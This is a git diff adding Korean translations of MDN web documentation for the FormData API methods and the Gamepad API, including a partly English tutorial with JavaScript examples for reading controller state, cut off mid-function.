{{APIRef("XMLHttpRequest")}}

+ +

FormData.entries() 메서드는 이 객체에 포함된 모든 key/value 쌍을 통과하는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 각 쌍의 key는  {{domxref("USVString")}} 객체입니다; value는 {{domxref("USVString")}} 또는 {{domxref("Blob")}} 중 하나입니다.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.entries();
+ +

Return value

+ +

{{jsxref("Iteration_protocols","iterator")}}를 리턴합니다.

+ +

Example

+ +
// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the key/value pairs
+for(var pair of formData.entries()) {
+   console.log(pair[0]+ ', '+ pair[1]);
+}
+
+ +

결과는 다음과 같습니다:

+ +
key1, value1
+key2, value2
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata','entries() (as iterator<>)')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.entries")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/formdata/index.html b/files/ko/web/api/formdata/formdata/index.html new file mode 100644 index 0000000000..5201383a98 --- /dev/null +++ b/files/ko/web/api/formdata/formdata/index.html @@ -0,0 +1,92 @@ +--- +title: FormData() +slug: Web/API/FormData/FormData +translation_of: Web/API/FormData/FormData +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData() 생성자(Constructor)는 새로운 {{domxref("FormData")}}객체를 만듭니다.

+ +
+

메모: 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
var formData = new FormData(form)
+ +

Parameters

+ +
+
form {{optional_inline}}
+
HTML {{HTMLElement("form")}} 요소 — 지정된 경우 {{domxref("FormData")}} 객체는 form의 현재 key/value 들로 채워집니다. key/value는 submit한 각 요소의 name property와 value를 사용합니다. 또한 파일 입력 내용을 인코딩합니다.
+
+ +

Example

+ +

다음 코드는 빈 FormData 객체를 만듭니다:

+ +
var formData = new FormData(); // Currently empty
+ +

{{domxref("FormData.append")}}을 사용하여 key/value 쌍을 추가할 수 있습니다:

+ +
formData.append('username', 'Chris');
+
+ +

또는 FormData 객체를 만들 때 선택적으로 form argument를 지정할 수 있는데, 지정된 양식대로 value를 미리 채우는 것입니다:

+ +
<form id="myForm" name="myForm">
+  <div>
+    <label for="username">Enter name:</label>
+    <input type="text" id="username" name="username">
+  </div>
+  <div>
+    <label for="useracc">Enter account number:</label>
+    <input type="text" id="useracc" name="useracc">
+  </div>
+  <div>
+    <label for="userfile">Upload file:</label>
+    <input type="file" id="userfile" name="userfile">
+  </div>
+<input type="submit" value="Submit!">
+</form>
+
+ +
+

메모: 모든 입력 요소는 'name' 속성(attribute) 을 갖고 있습니다. 나중에 value에 접근하는데 필요합니다.

+
+ +
var myForm = document.getElementById('myForm');
+formData = new FormData(myForm);
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata','FormData()')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.FormData")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/get/index.html b/files/ko/web/api/formdata/get/index.html new file mode 100644 index 0000000000..b90a006387 --- /dev/null +++ b/files/ko/web/api/formdata/get/index.html @@ -0,0 +1,74 @@ +--- +title: FormData.get() +slug: Web/API/FormData/get +translation_of: Web/API/FormData/get +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 인터페이스의 get() 메서드는 FormData 객체에서 지정한 키와 연관된 첫 번째 값을 반환합니다. 값이 여러개이고, 모든 값을 원하면 이 메서드 대신 {{domxref("FormData.getAll()","getAll()")}} 메서드를 사용하십시오.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.get(name);
+ +

Parameters

+ +
+
name
+
검색하고 싶은 키의 이름을 나타내는 {{domxref("USVString")}} 입니다.
+
+ +

Return value

+ +

값을 포함하는 {{domxref("FormDataEntryValue")}} 입니다.

+ +

Example

+ +

다음 코드를 따라 빈 FormData 객체를 만듭니다:

+ +
var formData = new FormData();
+ +

{{domxref("FormData.append")}}를 사용하여 username 에 두 개의 값을 추가합니다:

+ +
formData.append('username', 'Chris');
+formData.append('username', 'Bob');
+ +

get() 함수를 사용하면 username 의 첫 번째 value만 반환합니다:

+ +
formData.get('username'); // Returns "Chris"
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-get','get()')}}{{Spec2('XMLHttpRequest')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.get")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/getall/index.html b/files/ko/web/api/formdata/getall/index.html new file mode 100644 index 0000000000..6de19365e5 --- /dev/null +++ b/files/ko/web/api/formdata/getall/index.html @@ -0,0 +1,74 @@ +--- +title: FormData.getAll() +slug: Web/API/FormData/getAll +translation_of: Web/API/FormData/getAll +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 인터페이스의 getAll() 메서드는 FormData 객체에서 지정된 키와 연관된 모든 값을 반환합니다.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.getAll(name);
+ +

Parameters

+ +
+
name
+
검색하고 싶은 키의 이름을 나타내는 {{domxref("USVString")}} 입니다.
+
+ +

Returns

+ +

{{domxref("FormDataEntryValue")}}의 배열입니다.

+ +

Example

+ +

다음 코드를 따라 빈 FormData 객체를 만듭니다:

+ +
var formData = new FormData();
+ +

{{domxref("FormData.append")}}를 사용하여 username 에 두 개의 값을 추가합니다:

+ +
formData.append('username', 'Chris');
+formData.append('username', 'Bob');
+ +

getAll() 함수는 username 의 값들을 배열로 반환합니다:

+ +
formData.getAll('username'); // Returns ["Chris", "Bob"]
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-getall','getAll()')}}{{Spec2('XMLHttpRequest')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.getAll")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/has/index.html b/files/ko/web/api/formdata/has/index.html new file mode 100644 index 0000000000..8340fee6af --- /dev/null +++ b/files/ko/web/api/formdata/has/index.html @@ -0,0 +1,73 @@ +--- +title: FormData.has() +slug: Web/API/FormData/has +translation_of: Web/API/FormData/has +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 인터페이스의 has() 메서드는 FormData 객체에 특정 키가 들어 있는지 여부를 나타내는 boolean 을 반환합니다.

+ +
+

Note: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.has(name);
+ +

Parameters

+ +
+
name
+
테스트 하려는 키의 이름을 나타내는 {{domxref("USVString")}} 입니다.
+
+ +

Returns

+ +

{{domxref("Boolean")}}.

+ +

Example

+ +

다음 코드를 따라 빈 FormData 객체를 만듭니다:

+ +
var formData = new FormData();
+ +

다음 스니펫(코드 조각)은 FormData 객체안에 username 이 존재하는지 테스트한 결과와, {{domxref("FormData.append")}}를 사용하여 username 에 값을 추가한 이후의 결과를 보여줍니다 :

+ +
formData.has('username'); // Returns false
+formData.append('username', 'Chris');
+formData.has('username'); // Returns true
+
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-has','has()')}}{{Spec2('XMLHttpRequest')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.has")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/index.html b/files/ko/web/api/formdata/index.html new file mode 100644 index 0000000000..212d19e6c2 --- /dev/null +++ b/files/ko/web/api/formdata/index.html @@ -0,0 +1,82 @@ +--- +title: FormData +slug: Web/API/FormData +tags: + - API + - 인터페이스 + - 폼 데이터 +translation_of: Web/API/FormData +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData 인터페이스는 form 필드와 그 값을 나타내는 일련의 key/value 쌍을 쉽게 생성할 수 있는 방법을 제공합니다. 또한 {{domxref("XMLHttpRequest.send()")}} 메서드를 사용하여 쉽게 전송할 수 있습니다. 인코딩 타입이 "multipart/form-data"로 설정된 경우, form에서 사용하는 것과 동일한 포맷을 사용해야 합니다.

+ +

간단한 GET 전송을 사용하는 경우에는 {{HTMLElement("form")}} 이 수행하는 방식으로 쿼리 매개 변수를 생성할 수 있습니다. 이 경우 {{domxref("URLSearchParams")}} 생성자에 직접 전달할 수 있습니다.

+ +

FormData 를 구현하는 객체는 {{domxref('FormData.entries()', 'entries()')}} 대신 {{jsxref("Statements/for...of", "for...of")}} 구조를 직접 사용할 수 있습니다. for (var p of myFormData) 는 for (var p of myFormData.entries()) 와 같습니다.

+ +
+

주의: 이 기능은 Web Workers에서도 사용할 수 있습니다.

+
+ +

생성자

+ +
+
{{domxref("FormData.FormData","FormData()")}}
+
새로운 FormData 객체를 생성합니다.
+
+ +

메소드

+ +
+
{{domxref("FormData.append()")}}
+
FormData 객체안에 이미 키가 존재하면 그 키에 새로운 값을 추가하고, 키가 없으면 추가합니다.
+
{{domxref("FormData.delete()")}}
+
FormData 객체로부터 키/밸류 쌍을 삭제합니다.
+
{{domxref("FormData.entries()")}}
+
이 객체에 담긴 모든 키/밸류 쌍을 순회할 수 있는 {{jsxref("Iteration_protocols","iterator")}}를 반환합니다.
+
{{domxref("FormData.get()")}}
+
FormData 객체 내의 값들 중 주어진 키와 연관된 첫번째 값을 반환합니다.
+
{{domxref("FormData.getAll()")}}
+
FormData 객체 내의 값들 중 주어진 키와 연관된 모든 값이 담긴 배열을 반환합니다.
+
{{domxref("FormData.has()")}}
+
FormData 객체에 특정 키가 포함되어 있는지 여부를 나타내는 boolean 을 반환합니다.
+
{{domxref("FormData.keys()")}}
+
이 객체에 담긴 모든 키/벨류 쌍들의 모든 키들을 순회 할 수 있는 {{jsxref("Iteration_protocols", "iterator")}}를 반환합니다.
+
{{domxref("FormData.set()")}}
+
FormData 객체 내에 있는 기존 키에 새 값을 설정하거나, 존재하지 않을 경우 키/밸류 쌍을 추가합니다.
+
{{domxref("FormData.values()")}}
+
이 객체에 포함된 모든 밸류를 통과하는 {{jsxref("Iteration_protocols", "iterator")}}를 반환합니다.
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}{{Spec2('XMLHttpRequest')}}FormData defined in XHR spec
+ +

브라우저 호환성

+ + + +

{{Compat("api.FormData")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/keys/index.html b/files/ko/web/api/formdata/keys/index.html new file mode 100644 index 0000000000..f2f1111e4d --- /dev/null +++ b/files/ko/web/api/formdata/keys/index.html @@ -0,0 +1,70 @@ +--- +title: FormData.keys() +slug: Web/API/FormData/keys +translation_of: Web/API/FormData/keys +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData.keys() 메서드는 이 객체에 포함된 모든 키를 통과하는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 키는 {{domxref("USVString")}} 객체입니다.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.keys();
+ +

Return value

+ +

{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.

+ +

Example

+ +
// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the keys
+for (var key of formData.keys()) {
+   console.log(key);
+}
+
+ +

결과는 다음과 같습니다:

+ +
key1
+key2
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata','keys() (as iterator<>)')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.keys")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/set/index.html b/files/ko/web/api/formdata/set/index.html new file mode 100644 index 0000000000..1f95283af5 --- /dev/null +++ b/files/ko/web/api/formdata/set/index.html @@ -0,0 +1,79 @@ +--- +title: FormData.set() +slug: Web/API/FormData/set +translation_of: Web/API/FormData/set +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 인터페이스의 set() 메서드는 FormData 객체 내에 있는 기존 키에 새 값을 설정하거나, 존재하지 않을 경우 key/value을 추가합니다.

+ +

set() 과 {{domxref("FormData.append")}} 의 차이점은 지정된 키가 이미 존재할 경우에, set() 은 모든 기존 값들을 새로운 값으로 덮어쓰기하는 반면, {{domxref("FormData.append")}} 는 기존 값의 끝에 새 값을 추가합니다.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +

이 메서드에는 두 가지 버전이 있습니다: 매개변수가 두 개인 버전과 세 개인 버전입니다:

+ +
formData.set(name, value);
+formData.set(name, value, filename);
+ +

Parameters

+ +
+
name
+
value 에 포함되는 데이터 필드의 이름입니다.
+
value
+
필드의 값입니다. 파라미터가 두 개인 버전에서는 {{domxref("USVString")}}이고, 그렇지 않은 경우 문자열로 변환됩니다. 파라미터가 세 개인 버전에서는 {{domxref("Blob")}}, {{domxref("File")}}, {{domxref("USVString")}}이 될 수 있습니다. 이들 중 어느것도 지정되지 않으면 값은 문자열로 변환됩니다.
+
filename {{optional_inline}}
+
{{domxref("Blob")}} 또는 {{domxref("File")}} 이 두 번째 매개 변수로 전달될 때, 서버에 리포트하는 파일 이름(a {{domxref("USVString")}})입니다. {{domxref("Blob")}} 객체의 기본 파일 이름은 "blob"입니다.
+
+ +
+

메모: {{domxref("Blob")}} 을 FormData 객체에 추가할 데이터로 지정하면,  "Content-Disposition" 헤더에서 서버에 리포트하는 파일 이름이 브라우저마다 다를 수 있습니다.

+
+ +

Example

+ +

다음 코드를 따라 빈 FormData 객체를 만듭니다:

+ +
var formData = new FormData(); // Currently empty
+ +

{{domxref("FormData.set")}}를 사용하여 key/value 쌍을 추가할 수 있습니다::

+ +
formData.set('username', 'Chris');
+formData.set('userpic', myFileInput.files[0], 'chris.jpg');
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-set','set()')}}{{Spec2('XMLHttpRequest')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.set")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/values/index.html b/files/ko/web/api/formdata/values/index.html new file mode 100644 index 0000000000..9a28786ad6 --- /dev/null +++ b/files/ko/web/api/formdata/values/index.html @@ -0,0 +1,70 @@ +--- +title: FormData.values() +slug: Web/API/FormData/values +translation_of: Web/API/FormData/values +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData.values() 메서드는 이 객체에 포함 된 모든 value를 통과하는 {{jsxref("Iteration_protocols",'iterator')}}를 반환합니다. value는 {{domxref("USVString")}} 또는 {{domxref("Blob")}} 객체입니다.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.values();
+ +

Return value

+ +

{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.

+ +

Example

+ +
// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the values
+for (var value of formData.values()) {
+   console.log(value);
+}
+
+ +

결과는 다음과 같습니다:

+ +
value1
+value2
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata','values() (as iterator<>)')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.values")}}

+ +

See also

+ + diff --git a/files/ko/web/api/gamepad_api/index.html b/files/ko/web/api/gamepad_api/index.html new file mode 100644 index 0000000000..7a4fc0d2e7 --- /dev/null +++ b/files/ko/web/api/gamepad_api/index.html @@ -0,0 +1,94 @@ +--- +title: Gamepad API +slug: Web/API/Gamepad_API +tags: + - API + - Experimental + - Gamepad API + - Games + - Overview +translation_of: Web/API/Gamepad_API +--- +
{{DefaultAPISidebar("Gamepad API")}}
+ +

게임패드 API는 게임패드와 다른 게임 제어장치의 신호에 쉬운 일관된 방식으로 접근하고 응답하는 개발자들을 위한 수단이다. 게임패드 API는 세 가지 인터페이스와연결, 연결 해제되고 게임 패드 자체에 대한 다른 정보에 접근하고 어떤 버튼과 다른 조작 장치들이 현재 눌린 것에 응답하는 두 가지 이벤트 그리고 한 가지 특수 기능이 포함되어 있다. 

+ +

인터페이스

+ +
+
{{domxref("Gamepad")}}
+
컴퓨터에 연결된 게임패드나 조작장치를 표현한다.
+
{{domxref("GamepadButton")}}
+
연결된 조작장치들 중 하나에 있는 버튼을 표현한다.
+
{{domxref("GamepadEvent")}}
+
게임 패드와 연관된 이벤트를 나타내는 이벤트 객체이다.
+
+ +

게임패드 확장기능 실험

+ +
+
{{domxref("GamepadHapticActuator")}}
+
Represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware.
+
{{domxref("GamepadPose")}}
+
Represents the pose of a controller (e.g. position and orientation in 3D space) in the case of a WebVR controller.
+
+ +

다음 정보를엑세스할 수 있는 게임패드 인터페이스 확장기능 더보기

+ +

다른 인터페이스로 확장

+ + + +
+
{{domxref("Navigator.getGamepads()")}}
+
An extension to the {{domxref("Navigator")}} object that returns an array of {{domxref("Gamepad")}} objects, one for each connected gamepad.
+
+ +

Window events

+ +
+
{{domxref("Window.ongamepadconnected")}}
+
Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).
+
{{domxref("Window.ongamepaddisconnected")}}
+
Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).
+
+ +

튜토리얼과 가이드

+ + + +

사양

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("GamepadExtensions")}}{{Spec2("GamepadExtensions")}}Defines the {{anch("Experimental Gamepad extensions")}}.
{{SpecName("Gamepad", "", "The Gamepad API specification")}}{{Spec2("Gamepad")}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Gamepad")}}

+ +

더보기

+ + diff --git a/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html new file mode 100644 index 0000000000..10f1a4d818 --- /dev/null +++ b/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html @@ -0,0 +1,342 @@ +--- +title: Using the Gamepad API +slug: Web/API/Gamepad_API/Using_the_Gamepad_API +translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API +--- +

HTML5 introduced many of the necessary components for rich, interactive game development. Technologies like <canvas>, WebGL, <audio>, and <video>, along with JavaScript implementations, have matured to the point where they can now support many tasks previously requiring native code. The Gamepad API is a way for developers and designers to access and use gamepads and other game controllers.

+ +

The Gamepad API introduces new events on the {{ domxref("Window") }} object for reading gamepad and controller (hereby referred to as gamepad) state. In addition to these events, the API also adds a {{ domxref("Gamepad") }} object, which you can use to query the state of a connected gamepad, and a {{ domxref("navigator.getGamepads()") }} method which you can use to get a list of gamepads known to the page.

+ +

게임패드로 연결

+ +

새로운 게임패드가 컴퓨터에 연결될 때, 포커스된 페이지는 {{ event("gamepadconnected") }} 이벤트를 받습니다. 페이지가 로드되었을 때 게임패드가 이미 연결되어 있다면, {{ event("gamepadconnected") }} 이벤트가 유저의 버튼 입력 혹은 마우스 움직일 때 포커스된 페이지에 디스패치됩니다.

+ +
+

In Firefox, gamepads are only exposed to a page when the user interacts with one with the page visible. This helps prevent gamepads being used for fingerprinting the user. Once one gamepad has been interacted with, other gamepads that are connected will automatically be visible.

+
+ +

{{event("gamepadconnected")}} 이벤트를 이렇게 이용할 수 있습니다:

+ +
window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    e.gamepad.index, e.gamepad.id,
+    e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+
+ +

각 게임패드는 유니크한 ID와 연관되어 있는데, 이는 {{domxref("GamepadEvent.gamepad", "gamepad")}} 이벤트의 속성에서 사용가능합니다.

+ +

게임패드 연결해제

+ +

When a gamepad is disconnected, and if a page has previously received data for that gamepad (e.g. {{ event("gamepadconnected") }}), a second event is dispatched to the focused window, {{ event("gamepaddisconnected") }}:

+ +
window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("Gamepad disconnected from index %d: %s",
+    e.gamepad.index, e.gamepad.id);
+});
+ +

The gamepad's {{domxref("Gamepad.index", "index")}} property will be unique per-device connected to the system, even if multiple controllers of the same type are used. The index property also functions as the index into the {{jsxref("Array")}} returned by {{ domxref("Navigator.getGamepads()") }}.

+ +
var gamepads = {};
+
+function gamepadHandler(event, connecting) {
+  var gamepad = event.gamepad;
+  // Note:
+  // gamepad === navigator.getGamepads()[gamepad.index]
+
+  if (connecting) {
+    gamepads[gamepad.index] = gamepad;
+  } else {
+    delete gamepads[gamepad.index];
+  }
+}
+
+window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false);
+window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, false); }, false);
+
+ +

This previous example also demonstrates how the gamepad property can be held after the event has completed — a technique we will use for device state querying later.

+ +

게임패드 오브젝트에 질의

+ +

As you can see, the gamepad events discussed above include a gamepad property on the event object, which returns a {{ domxref("Gamepad") }} object. We can use this in order to determine which gamepad (i.e., its ID) had caused the event, since multiple gamepads might be connected at once. We can do much more with the {{ domxref("Gamepad") }} object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. Doing so is often desirable for games or other interactive web pages that need to know the state of a gamepad now vs. the next time an event fires.

+ +

Performing such checks tends to involve using the {{ domxref("Gamepad") }} object in conjunction with an animation loop (e.g., {{ domxref("Window.requestAnimationFrame","requestAnimationFrame") }}), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads.

+ +

The {{domxref("Navigator.getGamepads()")}} method returns an array of all devices currently visible to the webpage, as {{ domxref("Gamepad") }} objects (the first value is always null, so null will be returned if there are no gamepads connected.) This can then be used to get the same information. For example, the first code example above you be rewritten as shown below:

+ +
window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    gp.index, gp.id,
+    gp.buttons.length, gp.axes.length);
+});
+ +

The {{ domxref("Gamepad") }} object's properties are as follows:

+ + + +
+

Note: The Gamepad object is available on the {{ event("gamepadconnected") }} event rather than the {{ domxref("Window") }} object itself, for security reasons. Once we have a reference to it, we can query its properties for information about the current state of the gamepad. Behind the scenes, this object will be updated every time the gamepad's state changes.

+
+ +

버튼 정보 이용하기

+ +

Let's look at a simple example that displays connection information for one gamepad (it ignores subsequent gamepad connections) and allows you to move a ball around the screen using the four gamepad buttons on the right hand side of the gamepad. You can view the demo live, and find the source code on Github.

+ +

To start with, we declare some variables: The gamepadInfo paragraph that the connection info is written into, the ball that we want to move, the start variable that acts as the ID for requestAnimation Frame, the a and b variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the {{ domxref("Window.requestAnimationFrame", "requestAnimationFrame()") }} and {{ domxref("Window.cancelAnimationFrame", "cancelAnimationFrame()") }} cross browser forks.

+ +
var gamepadInfo = document.getElementById("gamepad-info");
+var ball = document.getElementById("ball");
+var start;
+var a = 0;
+var b = 0;
+
+ +

Next we use the {{event("gamepadconnected")}} event to check for a gamepad being connected. When one is connected, we grab the gamepad using {{ domxref("Navigator.getGamepads()") }}[0], print information about the gamepad into our gamepad info div, and fire the gameLoop() function that starts the whole ball movement process up.

+ +
window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+
+  gameLoop();
+});
+ +

Now we use the {{Event("gamepaddisconnected")}} event to check if the gamepad is disconnected again. If so, we stop the {{DOMxRef("Window.requestAnimationFrame", "requestAnimationFrame()")}} loop (see below) and revert the gamepad information back to what it was originally.

+ +
window.addEventListener("gamepaddisconnected", function(e) {
+  gamepadInfo.innerHTML = "Waiting for gamepad.";
+
+  cancelRequestAnimationFrame(start);
+});
+ +

Chrome does things differently here. Instead of constantly storing the gamepad's latest state in a variable it only stores a snapshot, so to do the same thing in Chrome you have to keep polling it and then only use the {{ domxref("Gamepad") }} object in code when it is available. We have done this below using {{ domxref("Window.setInterval()") }}; once the object is available the gamepad info is outputted, the game loop is started, and the interval is cleared using {{ domxref("Window.clearInterval()") }}. Note that in older versions of Chrome {{ domxref("Navigator.getGamepads()") }} is implemented with a webkit prefix. We attempt to detect and handle both the prefixed version and the standard version of the function for backwards compatibility.

+ +
var interval;
+
+if (!('ongamepadconnected' in window)) {
+  // No gamepad events available, poll instead.
+  interval = setInterval(pollGamepads, 500);
+}
+
+function pollGamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  for (var i = 0; i < gamepads.length; i++) {
+    var gp = gamepads[i];
+    if (gp) {
+      gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id +
+        ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+      gameLoop();
+      clearInterval(interval);
+    }
+  }
+}
+ +

Now on to the main game loop. In each execution of the loop we check if one of four buttons is being pressed; if so, we update the values of the a and b movement variables appropriately, then update the {{ cssxref("left") }} and {{ cssxref("top") }} properties, changing their values to the current values of a and b respectively. This has the effect of moving the ball around the screen.  In current versions of Chrome (version 34 as of this writing) the button values are stored as an array of double values, instead of {{ domxref("GamepadButton") }} objects. This is fixed in development versions.

+ +

After all this is done, we use our requestAnimationFrame() to request the next animation frame, running gameLoop() again.

+ +
function buttonPressed(b) {
+  if (typeof(b) == "object") {
+    return b.pressed;
+  }
+  return b == 1.0;
+}
+
+function gameLoop() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  if (!gamepads) {
+    return;
+  }
+
+  var gp = gamepads[0];
+  if (buttonPressed(gp.buttons[0])) {
+    b--;
+  } else if (buttonPressed(gp.buttons[2])) {
+    b++;
+  }
+  if (buttonPressed(gp.buttons[1])) {
+    a++;
+  } else if (buttonPressed(gp.buttons[3])) {
+    a--;
+  }
+
+  ball.style.left = a * 2 + "px";
+  ball.style.top = b * 2 + "px";
+
+  start = requestAnimationFrame(gameLoop);
+}
+ +

Using axes information

+ +

TBD (basically the same, except using axes[i] rather than button[i].value for both Firefox and Chrome.)

+ +

Complete example: Displaying gamepad state

+ +

This example shows how to use the {{ domxref("Gamepad") }} object, as well as the {{ event("gamepadconnected") }} and {{ event("gamepaddisconnected") }} events in order to display the state of all gamepads connected to the system. You can find a working demo and look at the full source code on Github.

+ +
var haveEvents = 'ongamepadconnected' in window;
+var controllers = {};
+
+function connecthandler(e) {
+  addgamepad(e.gamepad);
+}
+
+function addgamepad(gamepad) {
+  controllers[gamepad.index] = gamepad;
+
+  var d = document.createElement("div");
+  d.setAttribute("id", "controller" + gamepad.index);
+
+  var t = document.createElement("h1");
+  t.appendChild(document.createTextNode("gamepad: " + gamepad.id));
+  d.appendChild(t);
+
+  var b = document.createElement("div");
+  b.className = "buttons";
+  for (var i = 0; i < gamepad.buttons.length; i++) {
+    var e = document.createElement("span");
+    e.className = "button";
+    //e.id = "b" + i;
+    e.innerHTML = i;
+    b.appendChild(e);
+  }
+
+  d.appendChild(b);
+
+  var a = document.createElement("div");
+  a.className = "axes";
+
+  for (var i = 0; i < gamepad.axes.length; i++) {
+    var p = document.createElement("progress");
+    p.className = "axis";
+    //p.id = "a" + i;
+    p.setAttribute("max", "2");
+    p.setAttribute("value", "1");
+    p.innerHTML = i;
+    a.appendChild(p);
+  }
+
+  d.appendChild(a);
+
+  // See https://github.com/luser/gamepadtest/blob/master/index.html
+  var start = document.getElementById("start");
+  if (start) {
+    start.style.display = "none";
+  }
+
+  document.body.appendChild(d);
+  requestAnimationFrame(updateStatus);
+}
+
+function disconnecthandler(e) {
+  removegamepad(e.gamepad);
+}
+
+function removegamepad(gamepad) {
+  var d = document.getElementById("controller" + gamepad.index);
+  document.body.removeChild(d);
+  delete controllers[gamepad.index];
+}
+
+function updateStatus() {
+  if (!haveEvents) {
+    scangamepads();
+  }
+
+  var i = 0;
+  var j;
+
+  for (j in controllers) {
+    var controller = controllers[j];
+    var d = document.getElementById("controller" + j);
+    var buttons = d.getElementsByClassName("button");
+
+    for (i = 0; i < controller.buttons.length; i++) {
+      var b = buttons[i];
+      var val = controller.buttons[i];
+      var pressed = val == 1.0;
+      if (typeof(val) == "object") {
+        pressed = val.pressed;
+        val = val.value;
+      }
+
+      var pct = Math.round(val * 100) + "%";
+      b.style.backgroundSize = pct + " " + pct;
+
+      if (pressed) {
+        b.className = "button pressed";
+      } else {
+        b.className = "button";
+      }
+    }
+
+    var axes = d.getElementsByClassName("axis");
+    for (i = 0; i < controller.axes.length; i++) {
+      var a = axes[i];
+      a.innerHTML = i + ": " + controller.axes[i].toFixed(4);
+      a.setAttribute("value", controller.axes[i] + 1);
+    }
+  }
+
+  requestAnimationFrame(updateStatus);
+}
+
+function scangamepads() {
